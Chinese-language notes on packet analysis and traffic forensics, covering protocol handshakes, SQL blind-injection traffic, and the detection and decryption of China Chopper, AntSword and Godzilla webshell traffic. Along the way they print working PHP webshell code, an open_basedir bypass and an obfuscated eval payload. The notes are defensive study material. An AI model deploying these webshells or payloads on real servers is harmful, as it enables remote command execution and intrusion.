数据包分析
一行叫包,TCP整个通信过程叫流,包括tcp的三次握手,四次挥手,基于tcp连接的上层协议例如http等数据包的合集。损坏的数据包https://f00l.de/hacking/pcapfix.phptshark在Linux命令行中,在没有图形化的操作系统中,使用tshark命令捕获网络流量监听eth0网卡分析SMTPSMTP (Simple Mail Transfer Protocol) 是一种
数据包
一行叫包,TCP整个通信过程叫流,包括tcp的三次握手,四次挥手,基于tcp连接的上层协议例如http等数据包的合集。



pcap文件修复
损坏的数据包
https://f00l.de/hacking/pcapfix.php


Wireshark命令行
tshark
在Linux命令行中,在没有图形化的操作系统中,使用tshark命令捕获网络流量
tshark -i <接口名>
tshark -i <接口名> -w <文件名>

监听eth0网卡


分析
tshark -r nmap.pcap
SMTP
SMTP (Simple Mail Transfer Protocol) 是一种电子邮件传输的协议,是一组用于从源地址到目的地址传输邮件的规范。不启用SSL时端口号为25,启用SSL时端口号多为465或994。
1、响应代码220表示连接建立成功,后面的Anti-spam是一种用于过滤和阻止垃圾邮件的技术
2、服务端返回220代码之后,客户端继续发送请求,发送EHLO或者是HELO命令来声明身份,EHLO要更加安全
3、服务端接收到客户端的EHLO请求之后,返回了一个250代码并且附带了支持的身份验证方式,客户端使用AUTH命令进行身份验证,身份验证成功后会返回235的成功代码
4、客户端<font style="color:rgb(192, 52, 29);background-color:rgb(251, 229, 225);">MAIL FROM</font>命令声明邮件的发件人,<font style="color:rgb(192, 52, 29);background-color:rgb(251, 229, 225);">RCPT TO</font>命令声明邮件的收件人,服务器返回250代码确定操作成功
5、客户端使用DATA命令,告知服务器要开始传输邮件的正文内容,服务端返回354代码,告知邮件的内容结束以<font style="color:rgb(192, 52, 29);background-color:rgb(251, 229, 225);"><CR><LF>.<CR><LF></font>为标记,客户端接收到354代码后,开始传输邮件内容
6、客户端发送完邮件内容之后,还会接着发送一个QUIT命令来表示结束这次的SMTP传输,服务器在接受到数据之后会返回250代码表示接受成功并且再返回221代码表示结束本次SMTP传输。

一个简单的smtp协议通信过程

首先进行tcp连接

这个包是一个 SMTP 协议初始化响应,表示邮件客户端正在与网易企业邮件服务器建立连接,服务器回应了状态码 220,表明连接已经成功建立,接下来可以进行进一步的邮件传输操作。

建立会话
客户端发送HELO命令以标识发件人自己的身份,然后客户端发送MAIL命令;服务器端正希望以OK作为响应,表明准备接收,这个数据包回复了一个TCP的ACK包表示接收到,并回复给客户端一些服务端支持的SMTP拓展

- PIPELINING:
允许客户端在发送下一个命令之前,不必等待服务器对当前命令的响应,从而提高通信效率。 - SIZE 71680000:
服务器允许的最大邮件大小为 71,680,000 字节(大约 68.3 MB)。 - ETRN:
允许客户端请求延迟投递的邮件(通常用于队列中的邮件)。 - STARTTLS:
支持使用 TLS(传输层安全协议)加密来保护 SMTP 连接的安全性。 - AUTH LOGIN PLAIN:
支持两种身份验证机制:LOGIN和PLAIN。 - LOGIN: 用户名和密码以 Base64 编码方式传输。
- PLAIN: 用户名和密码以未加密的文本形式传输。
- AUTH=LOGIN PLAIN:
明确支持LOGIN和PLAIN身份验证方式。 - ENHANCEDSTATUSCODES:
支持增强型状态代码,用于更详细地描述 SMTP 响应状态。 - 8BITMIME:
支持 8 位字符编码的 MIME 邮件,可以更高效地传输包含非 ASCII 字符的邮件内容。
身份认证
第8个数据包标志着 SMTP 客户端和服务器之间身份验证的开始,客户端通过 AUTH LOGIN 命令向服务器请求进行用户名/密码验证。
AUTH LOGIN:
- 这是 SMTP 中用于启动身份验证的命令之一。
- 表示客户端希望通过 LOGIN 方式 进行身份验证。
- LOGIN 验证方式:
- 客户端需要以 Base64 编码的形式提供用户名和密码。
- 服务端会响应一个提示,要求客户端发送编码后的用户名和密码。

第9个包的内容是VXNlcm5hbWU6,通过base64解码,得到Username:,表示此数据包是 SMTP 协议身份验证过程中的第二步,服务器提示客户端发送用户名。

然后客户端发送账户名

第11个包,服务端向客户端索要密码,第12个包客户端发送密码


最后明确表示客户端通过了 SMTP 服务器的身份验证。

FTP
与 FTP 协议相比,SFTP 在客户端与服务器间提供了一种更为安全的文件传输方式
TFTP协议不需要验证客户端的权限,FTP需要进行客户端验证
FTP-DATA:在服务器和客户端之间传输文件数据的数据连接
FTP(File Transfer Protocol):文件传输协议,端口:TCP20,21
主动模式:服务端发起数据连接。客户端使用随机端口连接,服务器主动向客户端的随机端口进行连接
被动模式:客户端发起数据连接。 客户端和服务端都是随机端口,客户端向服务器的随机端口进行连接,服务器被动连接
Response code: 220,意思是FTP返回码220,FTP服务做好了用户登录的准备
客户端发送USER 用户名,服务器返回331状态码,要求用户传送密码,PASS 密码,最后服务器返回230状态码登录成功
服务端

发送用户名

服务端要求发送密码
客户端发送密码

服务端返回230,表示登录成功

后面就是客户端与服务端交互使用的命令

DNS
DNS(domain name system)域名系统,端口:udp53
一条代表一条查询记录
代表128向2发起了DNS查询记录
查询的记录类型是 A(Address),即查询 i6ov08.dnslog.cn 的 IPv4 地址。

Telnet
https://cqnswp.blog.csdn.net/article/details/104360182

SSH
SSH 和 telnet 之间的主要区别在于 SSH 提供完全加密和经过身份验证的会话。而telnet缺少安全的认证方式,而且传输过程采用TCP进行明文传输
https://cqnswp.blog.csdn.net/article/details/104359221
Client: Protocol (SSH-2.0-OpenSSH_for_Windows_9.5)
Server: Protocol (SSH-2.0-OpenSSH_9.9p1 Debian-3)
- 客户端,服务端分别声明自己的协议版本信息

Client: Key Exchange Init
Server: Key Exchange Init
客户端、服务端发送此消息,列出了支持的密钥交换算法、加密算法、MAC 算法、压缩算法等。
- 密钥交换:包括
diffie-hellman-group14-sha256、curve25519-sha256等常见算法。 - 加密算法:如 aes256-ctr、aes128-ctr 等,用于对称加密数据传输, 客户端和服务器会从中选择一个双方都支持的加密算法。
- MAC 算法:用于消息完整性校验,常见算法如 hmac-sha2-256、hmac-sha2-512。
- 压缩算法:通常包括 none(不压缩)和 zlib(压缩)。


Client: Elliptic Curve Diffie-Hellman Key Exchange Init
- 客户端向服务器发送其 ECDH 公钥,用于协商会话密钥。
- 此公钥是根据椭圆曲线算法生成的,与服务器的公钥进行计算后,双方将生成相同的对称会话密钥。
Server: Elliptic Curve Diffie-Hellman Key Exchange Reply, New Keys
- ECDH Key Exchange Reply:
- 服务器返回其 ECDH 公钥和数字签名。
- 此消息还包括服务器使用的主机密钥,用于验证服务器身份。
- New Keys:
- 服务器指示切换到新的加密密钥,标志着加密通信阶段的开始。

这是 SSH 握手流程的最后一步,标志着密钥交换成功并切换到加密通信。
Client: New Keys
New Keys:
- 客户端通知服务器切换到新的加密密钥。
- 从此刻开始,双方的通信将使用协商生成的对称密钥和加密算法。

HTTP/HTTPS
TCP的上层协议
tcp握手后便是http流量,采用明文传输
http

https
HTTPS使用了SSL/TLS协议,SSL是 TLS 的前身,TLSv1.2则是1.2版本,保证信息安全的要素
TLSv1.2协议
首先明确TLS的作用三个作用
(1)身份认证
通过证书认证来确认对方的身份,防止中间人攻击
(2)数据私密性
使用对称性密钥加密传输的数据,由于密钥只有客户端/服务端有,其他人无法窥探。
(3)数据完整性
使用摘要算法对报文进行计算,收到消息后校验该值防止数据被篡改或丢失。
https://blog.csdn.net/wteruiycbqqvwt/article/details/90764611
其中,1——4步为握手,5以后为使用握手交换的密钥生成的加密数据
- C->S Clinet Hello
- S->C Server Hello, Certificate, Server Key Exchange, Server Hello Done
- Server Hello:服务器向客户端发送用于协商协议版本、加密套件、会话 ID 等的信息。
- Certificate:服务器发送自己的证书,通常是 X.509 格式。
- Server Key Exchange:服务器发送与密钥交换有关的数据,例如 Diffie-Hellman 参数。
- Server Hello Done:服务器通知客户端,Server Hello 阶段完成,等待客户端的响应。
- C->S Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
- Client Key Exchange:客户端发送自己的密钥交换数据(如 Diffie-Hellman 公钥或 RSA 加密的预主密钥),用于协商会话密钥。
- Change Cipher Spec:客户端向服务器发送一条通知,表示接下来将切换到加密通信模式。
- Encrypted Handshake Message:客户端发送加密的握手消息(通常是 Finished 消息),用于验证握手的完整性。
- S->C Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
- Client Key Exchange:客户端发送密钥交换消息,用于完成对称密钥的协商:例如,在 RSA 密钥交换中,包含使用服务器公钥加密的预主密钥。在 ECDHE 或 DHE 密钥交换中,包含客户端的公钥参数(如椭圆曲线点或 DH 公钥)。
- Change Cipher Spec:客户端通知服务器,接下来的通信将切换到加密模式。
- Encrypted Handshake Message:客户端发送加密的
Finished消息,包含对握手完整性的校验(通过之前协商的会话密钥生成 MAC)。
- C<->S Application Data

获取加密后的数据需要sslkey文件



SQL盲注数据包
通过数据包可以很直观的看到存在sql注入的数据包

如何快速有效分析
sql盲注:通过sqlmap等工具批量进行尝试猜值,请求包对比t数据库flag表值中的第一个字符,完整的函数逻辑是ascii(substr((select flag from t),1,1))=33,使用select查询t库flag表,select提取到后给substr,substr提取从第1个字符开始提取1个字符,然后给ascii编码为ascii码,最后进行对比。
攻击者角度:返回包,查看包大小,盲注通过返回包大小判断是否猜正确
分析者角度:请求包,请求包中有大量脏数据,无效数据,只能证明攻击者的攻击行为,不能明确攻击者拿到的数据,通过返回包可以获取到攻击者在什么时间,第几个包获取到了他想要的数据
通过对比发现,有一小段的数据包大小跟大部分数据包大小不一样,因为盲注需要大量数据进行猜测,所以少部分数据包为取到的数据的返回包(向前推一位就能获取到攻击者使用的攻击命令)

使用wireshark导出快速获取攻击者获取的数据

导出

url解码

在第71,72行攻击者数据包发生了变化,表示攻击者猜到flag表的第一个值

所以,攻击者得到的第一个字符是f

使用代码快速得到相关数据

import re
# 通过正则取第一个字符和猜的字符
s = r"from%20t\),([0-9]*),1\)\)=([0-9]*)"
# 把正则语句和正则函数赋值给pat
pat = re.compile(s)
# 打开数据包文件
f = open("timu.pcapng","rb")
# 使用read函数进行读取,并解码为utf-8,并忽略报错
st = f.read().decode("utf-8","ignore")
# 将读取的数据包进行正则匹配,赋值给lis
lis = pat.findall(st)
# 创建一个flag列表接收数据
flag = ['' for i in range(1000)]
# 循环读取正则取出来的值
for t in lis:
flag[int(t[0])] = chr(int(t[1]))
# 不换行输出
for i in flag:
print(i,end="")
https://github.com/5ime/SQLBlind_Tools
Webshell 菜刀 PHP
数据包协议较多

将http协议单独剥离出来分析

跟普通的http包一样,webshell分post和get两种方法,此为post方法,下面为post传参

两个表单项
@eval\001(base64_decode($_POST[action]));
是一个普通的phpwebshell,webshell密码为action
action 参数,这两段是一个值,由于数据包截断或显示限制导致的差异,一般下面为完整数据流,上面为部分
action为键,后面的base64为值


使用base64解码得到明文

调整字节流


最终得到传参,我们添加注释,发现这是一个初始化的传参
<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 取消脚本执行的时间限制
@set_time_limit(0);
// 禁用魔术引号运行时(PHP 5.4 已弃用,PHP 7.0 已移除)
@set_magic_quotes_runtime(0);
// 输出起始标记
echo("->|");
// 获取当前脚本所在的目录
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果目录为空,尝试使用 PATH_TRANSLATED 获取目录
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 初始化结果字符串,包含当前目录
$R = "{$D}\t";
// 如果目录不是以 / 开头(即非 Unix 系统,如 Windows)
if (substr($D, 0, 1) != "/") {
// 遍历盘符 A 到 Z
foreach (range("A", "Z") as $L) {
// 检查盘符是否存在(如 C:)
if (is_dir("{$L}:")) {
// 将存在的盘符追加到结果字符串
$R .= "{$L}:";
}
}
}
// 追加一个制表符
$R .= "\t";
// 尝试获取当前用户信息(适用于 Unix 系统)
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
// 如果获取到用户信息,提取用户名;否则使用 get_current_user()
$usr = ($u) ? $u['name'] : @get_current_user();
// 追加系统信息(操作系统类型、主机名等)
$R .= php_uname();
// 追加当前用户名
$R .= "({$usr})";
// 打印结果字符串
print $R;
// 输出结束标记
echo("|<-");
// 终止脚本执行
die();
?>
通过字节流也可以更直观的分析,我们可以通过返回包推测请求包所执行的命令,进行的操作。

解码z1,z2并执行
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$p = base64_decode($_POST["z1"]);
$s = base64_decode($_POST["z2"]);
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
$r = "{$p} {$c}";
@system($r . " 2>&1", $ret);
print ($ret != 0) ? "\nret={$ret}\n" : "";
echo("|<-");
die();

总结
特征1:POST数据包中有一句话木马,请求键中带有密码,比如"action"

特征2:POST数据值为base64编码

特征3:动态的命令执行通过解码 z1 和 z2 参数传递 Base64 编码的命令,动态执行系统命令(如 cd、ls、cat 等),其中z1一般为bash,z2为命令

特征4:菜刀在执行的命令都会带上终端目录,也就是默认会只是pwd命令

蚁剑
Webshell 蚁剑 PHP 默认编码
默认编码的php webshell没有经过base64编码,通过url解码即可看到传参,菜刀升级版。

蚁剑测试连接

对应数据包,该操作执行了:获取操作系统类型、目录、获取当前系统用户信息然后将这些信息格式化输出
// 禁用错误显示和设置最大执行时间为无限
@ini_set("display_errors", "0");
@set_time_limit(0);
// 获取当前PHP环境中的open_basedir设置
$opdir = @ini_get("open_basedir");
if ($opdir) {
// 获取当前脚本所在的目录,并将其与 open_basedir 进行分割处理
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
// 检查目录是否可写,如果可写则创建目录
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.98848";
@mkdir($tmdir);
// 如果目录创建成功,继续后续操作
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
// 通过遍历目录路径向上移动,绕过 open_basedir 限制
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 恢复 open_basedir 为根目录并删除刚创建的目录
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
// 空的加密函数,仅返回输入参数
function asenc($out) {
return $out;
}
// 输出捕获内容并进行封装
function asoutput() {
// 获取当前输出缓冲区内容
$output = ob_get_contents();
ob_end_clean();
// 输出加密结果(不过这里实际上是原样输出)
echo "16b" . "5e4";
echo @asenc($output);
echo "617" . "c1e";
}
// 启动输出缓冲
ob_start();
// 尝试捕获和输出服务器的一些环境信息
try {
// 获取当前脚本路径
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
// 格式化路径
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
// 如果是Windows系统,检查C-Z盘符
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) $R .= "{$L}:";
}
} else {
$R .= "/";
}
$R .= "\t";
// 获取当前用户信息
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
// 获取系统信息并输出
$R .= php_uname();
$R .= " {$s}";
echo $R;
} catch (Exception $e) {
// 如果发生异常,输出错误信息
echo "ERROR://".$e->getMessage();
}
// 执行输出操作
asoutput();
die();
服务端回显了当前目录,主机名,系统版本,时间和当前用户权限,此为webshell管理器获取的基础数据,用于验证webshell是否有效

蚁剑在正常使用的时候会生成多个参数与服务器进项交互,其中有一些参数可能是无意义的,除初始化操作的值,其它值是通过base64编码的



在执行命令时,蚁剑会生成随机参数名,参数值通过base64编码传入,在执行都会传出执行的bash,然后回到webshell所在目录,执行命令ls 两个echo,其中ls为执行的命令
lf7a6b502b267b参数值
RXL2Jpbi9zaA==
解码为/bin/sh
参数pwd
蚁剑初始化操作
wf4ff3c2d2bf66参数值
cd "/var/www/html";ls;echo 443fcf003;pwd;echo 25b184679 ··
总结:
特征1:
蚁剑在使用时,会有初始化操作,其中传入的参数中,一部分php函数固定,比如:@ini_set(“display_errors”,“0”);

特征2:请求体固定格式,参数随机名,值通过base64编码,webshell初始化的参数与值没有通过base64编码

哥斯拉
v4.0.1-godzilla
Godzilla4.0.1 PHP(php_eval_xor_base64)
与蚁剑的流量相似,首先,客户端会请求服务端,参数是key与pass,分别对应哥斯拉的密码与密钥,哥斯拉的数据包都是加密的,php_eval_xor_base64的webshell是一句话马,一句话的密码就是哥斯拉的密码,密钥可以随机。

第一个http包

经过分析对比请求包,发现哥斯拉的请求参数pass的值是固定的,每个包都有

将pass的值取出来格式化分析,哥斯拉进行了url解码、字符串反转、base64解码得到的明文组后交给php执行。
<?php
// 解码并执行经过多次编码的字符串
eval(
base64_decode( // Base64 解码
strrev( // 字符串反转
urldecode( // URL 解码
'K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD'
)
)
)
);
?>
将代码反转base64解码输出

首先检查 $_POST['key'] 是否存在,如果存在,则会对其进行解密(首先使用 base64 解码,然后使用密钥 3c6e0b8a9c15224a 进行 XOR 解密)。
<?php
eval(
@session_start(); // 启动会话
@set_time_limit(0); // 设置脚本的最大执行时间为无限制
@error_reporting(0); // 关闭错误报告
function encode($D, $K) { // 定义一个加密/解密函数,基于 XOR 加密
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15]; // 获取密钥中的字节(16字节循环)
$D[$i] = $D[$i] ^ $c; // 使用 XOR 对数据进行加密
}
return $D; // 返回加密后的数据
}
$pass = 'key'; // 密码字段
$payloadName = 'payload'; // 用于存储数据的会话变量名
$key = '3c6e0b8a9c15224a'; // 密钥
if (isset($_POST[$pass])) { // 如果 POST 请求中存在 'key' 字段
$data = encode(base64_decode($_POST[$pass]), $key); // 解密传入的数据
if (isset($_SESSION[$payloadName])) { // 如果会话中存在 'payload' 数据
$payload = encode($_SESSION[$payloadName], $key); // 解密会话中的 'payload'
if (strpos($payload, "getBasicsInfo") === false) { // 如果 'payload' 中不包含 'getBasicsInfo'
$payload = encode($payload, $key); // 重新加密 'payload'
}
eval($payload); // 执行 'payload' 中的 PHP 代码
echo substr(md5($pass . $key), 0, 16); // 输出密钥的 MD5 前16位
echo base64_encode(encode(@run($data), $key)); // 执行解密后的命令并输出加密后的结果
echo substr(md5($pass . $key), 16); // 输出密钥的 MD5 后16位
} else { // 如果会话中不存在 'payload'
if (strpos($data, "getBasicsInfo") !== false) { // 如果传入的数据包含 'getBasicsInfo'
$_SESSION[$payloadName] = encode($data, $key); // 将数据加密并存储到会话中
}
}
}
);
?>
拿到密钥3c6e0b8a9c15224a,用ai写个脚本,还原明文

php_eval_xor_base64解密脚本
import base64
import gzip
import json
def XOR(D, K):
result = []
for i in range(len(D)):
c = K[i + 1 & 15]
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c))
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def try_gzip_decompress(data):
"""尝试解压gzip格式的数据"""
try:
return gzip.decompress(data)
except Exception as e:
print(f"Gzip decompression failed: {e}")
return data
def try_json_parse(data):
"""尝试将数据解析为JSON格式"""
try:
return json.loads(data.decode('utf-8'))
except Exception as e:
print(f"JSON parse failed: {e}")
return None
def pretty_print_data(data):
"""格式化输出数据"""
# 尝试解压 gzip 数据
decompressed_data = try_gzip_decompress(data)
# 尝试将数据解析为 JSON 格式
json_data = try_json_parse(decompressed_data)
if json_data:
print("JSON Data:")
print(json.dumps(json_data, indent=4))
else:
# 如果数据不可解析为 JSON,尝试直接输出为可打印字符
try:
decoded_str = decompressed_data.decode('utf-8')
print("Decoded String:")
print(decoded_str)
except UnicodeDecodeError:
print("Raw binary data (could not decode to UTF-8):")
print(decompressed_data)
if __name__ == '__main__':
text = "" # 你的 base64 编码的加密文本
key = "3c6e0b8a9c15224a"
# 解密数据
decrypted_data = XOR(base64.b64decode(text), key)
# 输出格式化后的数据
pretty_print_data(decrypted_data)
解出来是这样的

解第二个数据包

得到明文:methodNametest,输出该值为哥斯拉首次连接服务器

接着以此输出即可还原哥斯拉执行的命令

http头问题,哥斯拉不会随机生成ua头,头可自定义,哥斯拉的默认头会有这三个参数
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

返回包内容
在第一次请求后,shell会返回一个cookie,之后的包都附有该cookie

返回包内容
整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

72a9c691ccdaab98 //前16
fL1tMGI4YTljMrBg81riA2+LkhtaVubzM+ub/0OjPOWowGSj47AnumcUZdrt+y/btb8po8/Q3Mn9UtdqUU5Quvf0V7TSLit64t+JmGKCJ6BBlf05bvbjGqo+N18oZ0qOgessXErEloGrbCi7QD4nY6p9MZQpagz8HYb+hfBn2SZmkM4qOfH0TwGuv3JOqVrLyFLu7L5mBSKiIRtak/CTH6Ll4I6LcJ99IvG+b1V4Yn40c+6b5NxmM2yMFJK3YqqimAg3SBpvXcnmUi14XBIqCl6PljTcyBXvL2YD1661nALyR3nnd86pWqoIigXOBaVR0PCXQ4KWCQX3AsC0slde4Uvxah5dSP/RGaWboWXuLX3Lh/MGdsjTnDhoSyHLpfIDrvdrKmBi6VLuDGrBBNcdUvUKasWYdRf/lU3byefB0359hg+lHIT8ZSNBc9RUPjLC9rBSKbRB8n05f+GE5oWvDNPdmDCx4Zemgjo8sj1M+zBjNg==
b4c4e1f6ddd2a488 //后16
import base64
import hashlib
import gzip
def XOR(D, K):
"""XOR 解密函数"""
result = []
for i in range(len(D)):
c = K[i + 1 & 15] # 使用密钥的对应字符进行异或操作
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c)) # XOR 解密
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def split_md5_and_base64(text):
"""将 MD5 和 Base64 数据分开"""
md5_first = text[:16] # 前16位 MD5
base64_data = text[16:-16] # 中间部分 base64 编码数据
md5_last = text[-16:] # 后16位 MD5
return md5_first, base64_data, md5_last
def try_gzip_decompress(data):
"""尝试解压gzip格式的数据"""
try:
return gzip.decompress(data)
except Exception as e:
print(f"Gzip decompression failed: {e}")
return data
def pretty_print_data(data):
"""格式化输出数据"""
# 尝试解压 gzip 数据
decompressed_data = try_gzip_decompress(data)
# 输出解压后的数据
try:
decoded_str = decompressed_data.decode('utf-8')
print("Decoded String:")
print(decoded_str)
except UnicodeDecodeError:
print("Raw binary data (could not decode to UTF-8):")
print(decompressed_data)
if __name__ == '__main__':
text = "" # 示例输入
key = "密钥"
# 提取 MD5 和 Base64 数据
md5_first, base64_data, md5_last = split_md5_and_base64(text)
print("MD5 First 16 bytes:", md5_first)
print("MD5 Last 16 bytes:", md5_last)
# 解密中间的 Base64 数据
decoded_base64_data = base64.b64decode(base64_data) # 解码 Base64 数据
decrypted_data = XOR(decoded_base64_data, key) # 解密
# 输出解压和解密后的数据
pretty_print_data(decrypted_data)

总结
特征1:请求体特征,两个参数两个值,其中密码的参数值没有加密,值通过url解码、字符串反转、base64解码操作,key参数加密,密钥在密码参数中,解密通过xor运算,base64给服务器执行。

特征2:哥斯拉首次连接后返回cookie,之后的包都附有该cookie

特征3:固定的请求头

特征4:返回体固定格式 md5前十六位+base64+md5后十六位

Godzilla4.0.1 PHP(php_xor_base64)
哥斯拉默认生成的php_xor_base64webshell长这样,这里的$pass=‘pass’,表示哥斯拉在生成马子时密码是pass,而密钥是key=‘1234567890123456’
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='1234567890123456';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
数据包首个请求包,跟php eval xor base64生成的马不同,此时只有一个参数,cmd(密码),而php eval xor base64的一句话木马有两个参数,一个密码,一个密钥

只有一个密码是无法分析数据包的加密内容的,除非攻击者使用了哥斯拉的默认密钥key,这时候需要到服务器上去下载webshell,webshell中有我们需要的密钥。

回到服务器,拿到密钥9003d1df22eb4d38

修改代码的密钥,即可输出明文

import base64
import gzip
import json
def XOR(D, K):
result = []
for i in range(len(D)):
c = K[i + 1 & 15]
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c))
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def try_gzip_decompress(data):
"""尝试解压gzip格式的数据"""
try:
return gzip.decompress(data)
except Exception as e:
print(f"Gzip decompression failed: {e}")
return data
def try_json_parse(data):
"""尝试将数据解析为JSON格式"""
try:
return json.loads(data.decode('utf-8'))
except Exception as e:
print(f"JSON parse failed: {e}")
return None
def pretty_print_data(data):
"""格式化输出数据"""
# 尝试解压 gzip 数据
decompressed_data = try_gzip_decompress(data)
# 尝试将数据解析为 JSON 格式
json_data = try_json_parse(decompressed_data)
if json_data:
print("JSON Data:")
print(json.dumps(json_data, indent=4))
else:
# 如果数据不可解析为 JSON,尝试直接输出为可打印字符
try:
decoded_str = decompressed_data.decode('utf-8')
print("Decoded String:")
print(decoded_str)
except UnicodeDecodeError:
print("Raw binary data (could not decode to UTF-8):")
print(decompressed_data)
if __name__ == '__main__':
text = "L7s7ZDFkZjIyZSn6KcLx9XtVYQNRBE78YrUvYjR5dmhg4hwvHbZJHR2yrRyt/ulugv4aMuGpL2ZgVdBnV/91FPn4fJV6qCtX0GOIfsl7dU/+//4p/S9nMvQp0t8pMzg5" # 你的 base64 编码的加密文本
key = "9003d1df22eb4d38"
# 解密数据
decrypted_data = XOR(base64.b64decode(text), key)
# 输出格式化后的数据
pretty_print_data(decrypted_data)

返回包
import base64
import hashlib
import gzip
def XOR(D, K):
"""XOR 解密函数"""
result = []
for i in range(len(D)):
c = K[i + 1 & 15] # 使用密钥的对应字符进行异或操作
if not isinstance(D[i], int):
d = ord(D[i])
else:
d = D[i]
result.append(d ^ ord(c)) # XOR 解密
return b''.join([i.to_bytes(1, byteorder='big') for i in result])
def split_md5_and_base64(text):
"""将 MD5 和 Base64 数据分开"""
md5_first = text[:16] # 前16位 MD5
base64_data = text[16:-16] # 中间部分 base64 编码数据
md5_last = text[-16:] # 后16位 MD5
return md5_first, base64_data, md5_last
def try_gzip_decompress(data):
"""尝试解压gzip格式的数据"""
try:
return gzip.decompress(data)
except Exception as e:
print(f"Gzip decompression failed: {e}")
return data
def pretty_print_data(data):
"""格式化输出数据"""
# 尝试解压 gzip 数据
decompressed_data = try_gzip_decompress(data)
# 输出解压后的数据
try:
decoded_str = decompressed_data.decode('utf-8')
print("Decoded String:")
print(decoded_str)
except UnicodeDecodeError:
print("Raw binary data (could not decode to UTF-8):")
print(decompressed_data)
if __name__ == '__main__':
